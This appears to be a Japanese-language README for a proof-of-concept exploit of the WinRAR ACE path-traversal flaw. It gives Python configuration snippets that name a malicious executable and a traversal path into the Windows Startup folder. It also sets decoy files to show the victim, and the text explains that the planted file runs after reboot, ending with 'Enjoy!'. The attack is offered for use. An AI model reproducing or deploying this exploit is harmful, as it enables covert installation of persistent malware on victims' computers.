
https://research.checkpoint.com/extracting-code-execution-from-winrar のためのエクスプロイト
exp for WinRARからコード実行を抽出する
Ridter による poc
使い方は?
python 3.7 をインストールし、実行したい悪意のあるファイルを用意し、必要な値を設定するだけで、この exp スクリプトが自動的に悪意のあるアーカイブファイルを生成します!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
exp を実行すると、test.rar が自動的に生成されます
被害者が test.rar を開くと、hello.txt と world.txt が表示されます。さらに多くのファイルや魅力的なファイルを追加することもできます。
![]()
hi.exe というファイルが追加されます。実際には calc.exe です。コンピュータを再起動すると、hi.exe が実行されます。![]()
お楽しみください! :)